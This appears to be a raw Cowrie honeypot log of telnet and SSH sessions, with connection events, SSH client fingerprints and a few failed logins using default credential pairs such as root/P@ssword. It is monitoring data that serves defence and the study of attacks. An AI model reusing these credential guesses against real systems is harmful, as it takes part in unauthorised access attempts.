{"eventid":"cowrie.session.closed","duration":30.293333053588867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:27.046790Z","src_ip":"94.23.163.94","session":"487d74ef14ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97411847114563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:27.491910Z","src_ip":"213.136.75.179","session":"1e661eff566d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52542,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6209f928e4","protocol":"telnet","message":"New connection: 159.223.86.167:52542 (159.203.135.109:23) [session: bf6209f928e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:27.520026Z"}
{"eventid":"cowrie.session.closed","duration":31.23353672027588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:27.939455Z","src_ip":"213.136.75.179","session":"f99b73d7280e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.465167760849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:28.039532Z","src_ip":"94.23.163.94","session":"7b5b6eb9a673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65522265434265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:28.088231Z","src_ip":"213.136.75.179","session":"596260dc6490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673662662506104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:28.228699Z","src_ip":"94.23.163.94","session":"257cbdcc2ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45190,"dst_ip":"10.17.0.5","dst_port":23,"session":"36bc37e43335","protocol":"telnet","message":"New connection: 213.136.75.179:45190 (10.17.0.5:23) [session: 36bc37e43335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:28.804408Z"}
{"eventid":"cowrie.session.closed","duration":30.518069744110107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:29.447885Z","src_ip":"155.117.234.131","session":"3ecffead6963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.27031326293945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:29.533175Z","src_ip":"213.136.75.179","session":"23fe882fce87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8250412940979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:29.572597Z","src_ip":"213.136.75.179","session":"69122a977fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0487322807312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:29.862231Z","src_ip":"213.136.75.179","session":"7ec0a145902f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215215921401978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.177701Z","src_ip":"94.23.163.94","session":"cb36e71eef5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35482,"dst_ip":"159.203.135.109","dst_port":23,"session":"af09940d771a","protocol":"telnet","message":"New connection: 159.223.86.167:35482 (159.203.135.109:23) [session: af09940d771a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.218248Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":42256,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48d029736e8","protocol":"telnet","message":"New connection: 5.189.178.126:42256 (10.17.0.5:23) [session: c48d029736e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.262681Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbe8684fefe","protocol":"telnet","message":"New connection: 213.136.75.179:45198 (10.17.0.5:23) [session: dcbe8684fefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.343379Z"}
{"eventid":"cowrie.session.closed","duration":30.851723194122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.438051Z","src_ip":"213.136.75.179","session":"9a3de6463b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182899475097656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.442488Z","src_ip":"213.136.75.179","session":"87c91bc80261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2836492061615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.591333Z","src_ip":"213.136.75.179","session":"5f1fe34e4696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.20076060295105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:30.652263Z","src_ip":"213.136.75.179","session":"82e633761719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.685882329940796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.041842Z","src_ip":"213.136.75.179","session":"5a8414cd1b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829471588134766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.120850Z","src_ip":"94.23.163.94","session":"5d357cc0b43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155609607696533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.221637Z","src_ip":"213.136.75.179","session":"35b03a2fdb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47520,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6888c30bd0b","protocol":"ssh","message":"New connection: 176.65.139.103:47520 (10.17.0.5:22) [session: e6888c30bd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.391870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.412673Z","src_ip":"176.65.139.103","session":"e6888c30bd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.477396Z","src_ip":"176.65.139.103","session":"e6888c30bd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.30077838897705,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.484732Z","src_ip":"213.136.75.179","session":"1aa625372d19","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:31.817898Z","src_ip":"176.65.139.103","session":"e6888c30bd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1023166179657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:32.067167Z","src_ip":"213.136.75.179","session":"970d0d7ad956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58065605163574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:32.181245Z","src_ip":"213.136.75.179","session":"5cd9751c0e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"22188918e456","protocol":"telnet","message":"New connection: 23.254.167.244:44728 (159.203.135.109:23) [session: 22188918e456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:32.631811Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:32.921527Z","src_ip":"176.65.139.103","session":"e6888c30bd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.365235567092896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:33.209705Z","src_ip":"213.136.75.179","session":"2729d8271388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45210,"dst_ip":"10.17.0.5","dst_port":23,"session":"be231ef9adce","protocol":"telnet","message":"New connection: 213.136.75.179:45210 (10.17.0.5:23) [session: be231ef9adce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:33.452547Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45214,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba754955075","protocol":"telnet","message":"New connection: 213.136.75.179:45214 (10.17.0.5:23) [session: 7ba754955075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:33.596819Z"}
{"eventid":"cowrie.session.closed","duration":33.968137979507446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:33.880078Z","src_ip":"213.136.75.179","session":"c60b8fd36a86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46514,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49429b7b660","protocol":"telnet","message":"New connection: 23.254.167.244:46514 (159.203.135.109:23) [session: b49429b7b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:34.529848Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":51718,"dst_ip":"10.17.0.5","dst_port":22,"session":"11fcc7e0ab83","protocol":"ssh","message":"New connection: 20.244.18.126:51718 (10.17.0.5:22) [session: 11fcc7e0ab83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:35.099936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:35.104873Z","src_ip":"20.244.18.126","session":"11fcc7e0ab83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:35.293881Z","src_ip":"20.244.18.126","session":"11fcc7e0ab83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.862064838409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:35.594443Z","src_ip":"213.136.75.179","session":"883f232f9c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a46d1f84c7","protocol":"telnet","message":"New connection: 213.136.75.179:45216 (10.17.0.5:23) [session: 73a46d1f84c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:35.737399Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql!@#","message":"login attempt [mysql/mysql!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.081363Z","src_ip":"20.244.18.126","session":"11fcc7e0ab83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109207153320312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.184412Z","src_ip":"94.23.163.94","session":"d6276b33f266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce408489db44","protocol":"telnet","message":"New connection: 213.136.75.179:45224 (10.17.0.5:23) [session: ce408489db44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.374399Z"}
{"eventid":"cowrie.session.closed","duration":30.587765216827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.456680Z","src_ip":"213.136.75.179","session":"7a4f86e06e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17385482788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.476575Z","src_ip":"213.136.75.179","session":"f1d1021b4ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229453563690186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:36.575469Z","src_ip":"213.136.75.179","session":"002f0a84d82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.068132638931274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:37.012059Z","src_ip":"213.136.75.179","session":"b776fb9b0d21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:37.274291Z","src_ip":"20.244.18.126","session":"11fcc7e0ab83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a197aec627","protocol":"telnet","message":"New connection: 213.136.75.179:45238 (10.17.0.5:23) [session: a9a197aec627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:37.285535Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"493f46e6175e","protocol":"telnet","message":"New connection: 213.136.75.179:42620 (10.17.0.5:23) [session: 493f46e6175e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:37.648667Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c5fb20bc71a","protocol":"telnet","message":"New connection: 213.136.75.179:42632 (10.17.0.5:23) [session: 1c5fb20bc71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:37.769835Z"}
{"eventid":"cowrie.session.closed","duration":31.754324197769165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:38.042532Z","src_ip":"213.136.75.179","session":"77ee26901f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16785454750061,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:38.801131Z","src_ip":"213.136.75.179","session":"7bac8332fed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42642,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8236c7b3c60","protocol":"telnet","message":"New connection: 213.136.75.179:42642 (10.17.0.5:23) [session: e8236c7b3c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.243530Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37916,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a9aca47eda","protocol":"ssh","message":"New connection: 176.65.139.103:37916 (10.17.0.5:22) [session: 80a9aca47eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.258433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.265259Z","src_ip":"176.65.139.103","session":"80a9aca47eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74f5150d034","protocol":"telnet","message":"New connection: 213.136.75.179:42656 (10.17.0.5:23) [session: e74f5150d034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.302181Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.344367Z","src_ip":"176.65.139.103","session":"80a9aca47eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42670,"dst_ip":"10.17.0.5","dst_port":23,"session":"8166df03c9de","protocol":"telnet","message":"New connection: 213.136.75.179:42670 (10.17.0.5:23) [session: 8166df03c9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.392658Z"}
{"eventid":"cowrie.session.closed","duration":31.166191577911377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.510849Z","src_ip":"213.136.75.179","session":"64fded809d38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.673305Z","src_ip":"176.65.139.103","session":"80a9aca47eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.01599311828613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:39.738448Z","src_ip":"213.136.75.179","session":"b504f979c96c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42684,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3dbf96f3e6","protocol":"telnet","message":"New connection: 213.136.75.179:42684 (10.17.0.5:23) [session: 1f3dbf96f3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.032893Z"}
{"eventid":"cowrie.session.closed","duration":30.596202850341797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.056776Z","src_ip":"5.189.169.71","session":"753df940edf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"323b9abea1d2","protocol":"telnet","message":"New connection: 213.136.75.179:42690 (10.17.0.5:23) [session: 323b9abea1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.073636Z"}
{"eventid":"cowrie.session.closed","duration":31.021881341934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.648837Z","src_ip":"213.136.75.179","session":"709a4c26e93e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42704,"dst_ip":"10.17.0.5","dst_port":23,"session":"899a2d0ea9d6","protocol":"telnet","message":"New connection: 213.136.75.179:42704 (10.17.0.5:23) [session: 899a2d0ea9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.722454Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:40.799864Z","src_ip":"176.65.139.103","session":"80a9aca47eda","protocol":"ssh"}
